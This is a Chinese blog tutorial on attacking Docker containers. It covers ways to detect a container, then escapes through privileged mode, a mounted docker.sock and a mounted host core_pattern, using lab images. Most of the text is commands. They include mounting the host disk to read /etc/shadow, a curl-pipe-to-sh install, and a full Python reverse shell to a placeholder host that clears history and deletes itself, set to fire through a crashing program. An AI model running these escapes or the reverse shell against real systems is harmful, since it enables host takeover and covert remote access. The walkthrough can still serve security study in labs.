• 云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载


    前言

    1、Docker是干嘛的?

    Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。
    Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

    2、Docker对于渗透测试影响?

    3、Docker渗透测试点有那些?

    在这里插入图片描述

    4、前渗透-判断在Docker中

    没有权限:端口扫描详细信息,根据应用对象表现
    但是想通过端口扫描判断对方是不是docker服务几乎是不可能的(我没遇到……)

    拿到权限:

    方式一:查询cgroup信息

    docker中:
    在这里插入图片描述真实主机上:
    在这里插入图片描述

    方式二:检查/.dockerenv文件

    通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境
    docker中:
    在这里插入图片描述真实主机上:
    在这里插入图片描述
    不过有一点需要注意的是,如果你获取的shell权限过小的话(www-data、或是某一服务的用户),根目录下也是不存在.dockerenv文件的
    在这里插入图片描述

    方式三:检查mount信息

    利用mount查看挂载磁盘是否存在docker相关信息。

    docker中:
    在这里插入图片描述真实主机上:
    在这里插入图片描述

    方式四:查看硬盘信息

    fdisk -l 容器输出为空,非容器有内容输出。

    docker中:
    在这里插入图片描述真实主机上:
    在这里插入图片描述

    方式五:查看文件系统以及挂载点

    df -h 检查文件系统挂载的目录,也能够简单判断是否为docker环境。

    df -h | egrep '(overlay|aufs)'
    
    • 1

    docker中:
    在这里插入图片描述
    真实主机上:
    在这里插入图片描述

    参考:https://blog.csdn.net/qq_23936389/article/details/131467165

    5、前渗透-镜像中的应用漏洞

    正常web渗透测试

    6、前渗透-镜像中的默认配置

    7、后渗透-三种安全容器逃逸

    -特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
    -危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
    -docker自身&系统漏洞(软件漏洞和系统漏洞 都可用)
    https://wiki.teamssix.com/CloudNative/
    在这里插入图片描述

    容器逃逸-特权模式

    启动靶场:docker run --rm --privileged=true -it alpine
    在这里插入图片描述检测环境:cat /proc/1/cgroup | grep -qi docker && echo “Is Docker” || echo “Not Docker”
    在这里插入图片描述判断特权:cat /proc/self/status | grep CapEff
    如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
    在这里插入图片描述
    查看目录:fdisk -l
    在这里插入图片描述特权逃逸:mkdir /test && mount /dev/vda1 /test
    在这里插入图片描述判断结果:尝试访问宿主机 shadow 文件,可以看到正常访问
    在这里插入图片描述

    容器逃逸-危险挂载

    1、挂载Docker Socket逃逸

    启动靶场:docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
    进入环境:docker exec -it with_docker_sock /bin/bash
    检测环境:ls -lah /var/run/docker.sock
    在这里插入图片描述挂载逃逸:
    apt-get update
    apt-get install curl
    curl -fsSL https://get.docker.com/ | sh
    在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
    docker run -it -v /:/host ubuntu /bin/bash
    在这里插入图片描述chroot /host
    在这里插入图片描述

    2、挂载宿主机procfs逃逸

    启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
    检测环境:find / -name core_pattern
    在这里插入图片描述找到当前容器在宿主机下的绝对路径

    cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
    
    • 1

    在这里插入图片描述这就表示当前绝对路径为

    /var/lib/docker/overlay2/5c86feb33aba7c5fc559bee1a7b47b1f8004e1f6f20db4b97d8efbfa4cc33a19/merged

    创建一个反弹 Shell 的 py 脚本

    cat >/tmp/.x.py << EOF
    #!/usr/bin/python
    import os
    import pty
    import socket
    lhost = "xx.xx.xx.xx"
    lport = xxxx
    def main():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((lhost, lport))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        os.putenv("HISTFILE", '/dev/null')
        pty.spawn("/bin/bash")
        os.remove('/tmp/.x.py')
        s.close()
    if __name__ == "__main__":
        main()
    EOF
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    给 Shell 赋予执行权限

    chmod 777 .x.py
    
    • 1

    写入反弹 shell 到目标的 proc 目录下

    echo -e "|/var/lib/docker/overlay2/ad9b33531057ae1736388c0198e80e49de165b12d9d16bd81fd44022cff0e72f/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern
    
    • 1

    在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

    cat >/tmp/x.c << EOF
    #include 
    int main(void)
    {
        int *a = NULL;
        *a = 1;
        return 0;
    }
    EOF
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    gcc x.c -o t
    ./t
    
    • 1
    • 2

    在这里插入图片描述不过我这里尝试了好几次都没有成功……

    模拟真实场景:
    1、高权限-Web入口到Docker逃逸(Java)

    docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
    
    • 1

    在这里插入图片描述在这里插入图片描述在这里插入图片描述2、低权限-Web入口到Docker逃逸(PHP)

    docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa
    
    • 1

    java大部分都是高权限,php需提权……

  • 相关阅读:
    GPT-4并非世界模型,LeCun双手赞同!ACL力证LLM无法模拟真实世界
    Apache Maven是什么?|Maven安装
    springboot+爱心捐赠小程序 毕业设计-附源码211711
    java包装类
    2023年Java应该怎么学?零基础能自学成功吗?
    轻量化网络--MobileNet V1
    kotlin基础教程:<3>函数的高级用法和字符串的基础操作
    【Selenium】WebDriverPool让动态爬虫变得更简单高效稳定
    基于java小型银行管理系统计算机毕业设计源码+系统+lw文档+mysql数据库+调试部署
    Redisson-lock看门狗原理
  • 原文地址:https://blog.csdn.net/weixin_53009585/article/details/133804272